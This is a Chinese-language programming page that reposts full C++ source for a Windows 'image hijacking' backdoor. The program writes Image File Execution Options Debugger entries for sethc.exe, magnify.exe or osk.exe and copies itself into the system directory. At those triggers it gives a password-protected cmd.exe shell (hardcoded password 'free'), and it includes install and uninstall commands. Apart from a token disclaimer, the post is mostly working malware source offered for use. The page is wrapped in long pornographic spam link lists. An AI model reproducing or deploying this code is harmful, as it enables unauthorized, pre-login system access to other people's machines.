亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > C++ > 正文

C++映像劫持后門實例分析

2020-01-26 15:07:08
字體:
來源:轉載
供稿:網友

本文實例講述了C++映像劫持后門的方法。分享給大家供大家參考。具體如下:

// freeheart.cpp : Defines the entry point for the console application.//學習交流使用,違法使用后果自負。// by:cnblogs.com/blogg time 2013.5.24// argv 0 = freeheart.exe// argv 1 = -i // argv 2 = name.exe// argv 3 = 1 2 3// 此程序使用的映像劫持技術,// 在注冊表當中建立一個程序名的項目,在里面使用debugger,然后在里面指向自己的程序。//[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options]//#include "stdafx.h"#include "windows.h"#include "atlbase.h"#include <iostream>using namespace std;int main(int argc, char* argv[]){void anzhuang(char *Path,char *filename);void xiezai(char *path,char *hName);void CopyZiji(char *CopyPath);char *password = "free";   //真密碼緩沖區char *shuruPwd = "";    //輸入的密碼緩沖區int errorbuff = 0;char *PathBuff = "";  char *FileName = "";char *chsname = "sethc.exe"; //SHIFT粘貼鍵程序的名稱char *fangdajing = "magnify.exe"; //char *pingmujianpan = "osk.exe"; //LPTSTR sysbuff;   //得到系統路徑的緩沖區TCHAR tchBuffer2[1024];  //申請一個字符變量數組sysbuff = tchBuffer2; //把系統的路徑放到這個變量數組里 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系統路徑 {  sysbuff = strcat(sysbuff,"http://"); //strcat 剪切在一起,把//放在系統路徑的后面,然后放入系統緩沖區當中。  } if (argv[1] != NULL) {  //安裝命令判斷  if (strcmp(argv[1],"-i") == 0)  {   if (argv[2] != NULL)   {    FileName=argv[2];   }   else   {    cout<<"請輸入文件名!";    return 0;   }   if(argv[3] != NULL)   {    if(strcmp(argv[3],"1") == 0)    {     anzhuang(FileName,chsname);     PathBuff = strcat(sysbuff,FileName);     CopyZiji(PathBuff);      cout<<"創建完成! : "<<PathBuff<<endl;     return 0;    }     if(strcmp(argv[3],"2") == 0)     {     anzhuang(FileName,fangdajing);     PathBuff = strcat(sysbuff,FileName);     CopyZiji(PathBuff); //調用函數     cout<<"創建完成! : "<<PathBuff<<endl;     return 0;     }      if(strcmp(argv[3],"3") == 0)      {      anzhuang(FileName,pingmujianpan);      PathBuff = strcat(sysbuff,FileName);      CopyZiji(PathBuff); //調用函數      cout<<"創建完成! : "<<PathBuff<<endl;      return 0;      }   }       else       {       cout<<"請輸入參數!"<<endl;       }   return 0;  }//卸載  if (strcmp(argv[1],"-u") == 0)  {   if(argv[2] != NULL)   {    if(strcmp(argv[2],"1") == 0)    {     xiezai(sysbuff,chsname);     cout<<"刪除文件成功!"<<endl;     return 0;    }     if(strcmp(argv[2],"2") == 0)     {     xiezai(sysbuff,fangdajing);     cout<<"刪除文件成功!"<<endl;     return 0;     }      if(strcmp(argv[2],"3") == 0)      {      xiezai(sysbuff,pingmujianpan);      cout<<"刪除文件成功!"<<endl;      return 0;      }   }       else       {       cout<<"請輸入參數!"<<endl;       }   return 0;  }      //為什么會進入這里 因為debugger a.exe 其實是兩個參數,因為if (argv[1] != NULL) 也就是第二個參數不等于空的話執行下面的語句。      while(errorbuff<3) //循環三次,錯誤。       {       cout<<"password:";       cin>>shuruPwd;        if (strcmp(shuruPwd,password) == 0)        {        system("cmd.exe");        break;        }         else         {         cout<<"密碼錯誤!"<<endl;         }         errorbuff++; //自加一次        }       return 0; }system("color a");cout<<"-----------------------------------------------------"<<endl;cout<<"歡迎光臨自由的心,祝您好運!"<<endl;cout<<"1: sethc.exe  Shift后門/n";cout<<"2: magnify.exe 放大鏡后門/n";cout<<"3: osk.exe  屏幕鍵盤后門/n";cout<<"-----------------------------------------------------"<<endl;cout<<"安裝: freeheart.exe -i xx.exe 1"<<endl;cout<<"卸載: freeheart.exe -u 1"<<endl;cout<<"連接密碼:free"<<endl;cout<<"-----------------------------------------------------"<<endl;return 0;}//安裝函數void anzhuang(char *Path,char *filename){ HKEY hSoftKey = NULL; HKEY hCompanyKey = NULL; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS) {  if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)  {   LPBYTE Value=(LPBYTE)Path;    long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50);    RegCloseKey(hCompanyKey);  }  RegCloseKey(hSoftKey); }}//卸載函數void xiezai(char *path,char *hName) //hName 傳遞進來的程序名{ HKEY hSoftKey = NULL; LPCTSTR hMainKey="SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options";  if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS) { DWORD len = 256; DWORD type = REG_SZ; LPBYTE last = new BYTE[256]; LPCTSTR hname = (LPCTSTR)hName;  char *HHname; HKEY hKey;    //在注冊表當中創建一個magnify名的項,在里面當中加入debugger,里面跟上自己的程序名的值。 char* DelCom; HHname=strcat((char *)hMainKey,"http://"); //hmainkey 注冊表的路徑 HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)  {   DelCom=strcat(path,reinterpret_cast <char*>(last));   DeleteFile(DelCom); //刪除文件   RegDeleteKey(hSoftKey,hname); //刪除注冊表  }  RegCloseKey(hSoftKey); //關閉句柄  RegCloseKey(hKey); //關閉句柄 }}void CopyZiji(char *CopyPath) //將自身生成exe文件復制到指定的路徑下{ char PathBuff[MAX_PATH]; //申請一個字符變量數組,大小是系統最大的長度。 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一個參數為NULL,就表示獲取當前程序的路徑,第二個參數就是存放到緩沖區。 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身復制到目標路徑當中}

希望本文所述對大家的C++程序設計有所幫助。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
91精品国产色综合久久不卡98| 亚洲国产精品久久久久久| 96精品视频在线| 欧美乱大交xxxxx另类电影| 18久久久久久| 国产精品久久久久久超碰| 欧美日韩国产精品| 久久电影一区二区| 韩国三级日本三级少妇99| 久久影院中文字幕| 欧美激情2020午夜免费观看| 亚洲男女自偷自拍图片另类| 久久久视频在线| 亚洲国产日韩欧美在线动漫| www国产91| 国产女人18毛片水18精品| 亚洲高清久久久久久| 日产精品久久久一区二区福利| 国产精品久久久久久久久影视| 97视频在线免费观看| 国产日韩av在线播放| 久久久久久网址| 26uuu久久噜噜噜噜| 欧美激情第1页| 九九九久久久久久| 国产欧美日韩中文字幕在线| 曰本色欧美视频在线| 国产精品99久久久久久久久久久久| www.欧美精品| 亚洲欧美激情四射在线日| 亚洲在线免费视频| 欧美激情中文网| 日韩电影视频免费| 久久国产精品影片| 69久久夜色精品国产69乱青草| 911国产网站尤物在线观看| 欧美一级片久久久久久久| 国内精品小视频| 国产精品va在线播放| 久久资源免费视频| 亚洲第一天堂无码专区| 欧美另类99xxxxx| 亚洲成人a级网| 久久久久久伊人| 国产视频精品一区二区三区| 在线丨暗呦小u女国产精品| 国产中文字幕91| 成人黄色av播放免费| 啪一啪鲁一鲁2019在线视频| 午夜精品一区二区三区视频免费看| 国产免费一区二区三区在线能观看| 一本大道亚洲视频| 韩国三级电影久久久久久| 成人羞羞国产免费| 久久综合免费视频| 亚洲色图日韩av| 国产日韩欧美视频在线| 中文在线资源观看视频网站免费不卡| 欧美疯狂xxxx大交乱88av| 国产精品网站视频| 久久精品成人欧美大片| 日韩中文字幕精品视频| 日韩在线观看免费网站| 亚洲美女福利视频网站| 欧美日韩免费在线观看| 国产成人精品免费久久久久| 91沈先生在线观看| 国产精品一区二区久久精品| 美女国内精品自产拍在线播放| 国产日韩欧美日韩大片| 日韩美女视频免费看| 成人春色激情网| 91久热免费在线视频| 国产午夜精品理论片a级探花| 国内精品模特av私拍在线观看| 国产精品欧美久久久| 日韩精品中文字幕在线观看| 日韩在线小视频| 精品久久久久久中文字幕| 国产午夜精品全部视频播放| 久久久久久久久久久国产| 久久久久久久久久久人体| www高清在线视频日韩欧美| 久久精品视频在线播放| 日韩av电影在线播放| 欧美精品在线网站| 国产91精品不卡视频| 国产自产女人91一区在线观看| 日韩在线视频免费观看| 久久久久久久香蕉网| 亚洲精品第一页| 成人精品在线视频| 国产精品电影一区| 欧美中文字幕在线观看| 国产精品精品视频| 欧美成人亚洲成人| 91精品免费久久久久久久久| 久久精视频免费在线久久完整在线看| 日韩成人激情视频| 国产精品jvid在线观看蜜臀| 欧美激情视频一区二区| 色综合影院在线| 亚洲视频在线免费观看| 日韩高清电影免费观看完整版| 国产精品69久久久久| 成人伊人精品色xxxx视频| 色偷偷9999www| 这里精品视频免费| 最近2019中文字幕在线高清| 国产精品成熟老女人| 欧美激情亚洲自拍| 日韩电影免费观看在线| 色综合久久中文字幕综合网小说| 亚洲精品二三区| 欧美麻豆久久久久久中文| 国产精品十八以下禁看| 国产免费一区二区三区在线观看| 精品国产31久久久久久| 在线成人中文字幕| 中文字幕日韩在线视频| 在线视频欧美日韩精品| 欧美日韩福利在线观看| 中文字幕自拍vr一区二区三区| 韩剧1988免费观看全集| 欧美成人精品在线视频| 欧美午夜性色大片在线观看| 精品亚洲一区二区三区在线观看| 欧美专区国产专区| 精品福利樱桃av导航| 中文字幕亚洲欧美日韩高清| 国产91色在线|| 亚洲国产精品专区久久| 亚洲综合中文字幕在线观看| 日韩欧美在线国产| 日韩视频在线一区| 成人激情视频免费在线| 国产精品av网站| 国产精品久久久久久一区二区| 久久九九精品99国产精品| 成人国产精品色哟哟| 欧美性20hd另类| 欧美成人午夜剧场免费观看| 亚洲大胆人体在线| 成人做爰www免费看视频网站| 国产精自产拍久久久久久蜜| 国模精品视频一区二区| 日韩av在线最新| 国产精品专区h在线观看| 欧美怡红院视频一区二区三区| 日韩欧美国产网站| 亚洲电影免费观看高清完整版在线| 日韩国产欧美精品一区二区三区| 亚洲高清免费观看高清完整版| 91理论片午午论夜理片久久| 日韩欧美中文字幕在线播放| 久久久免费av| 亚洲精品视频久久| 富二代精品短视频| 国产91|九色| 亚洲男人天堂九九视频| 91免费视频国产| 精品国产91久久久久久| 日韩欧美黄色动漫| 欧美日韩国产麻豆|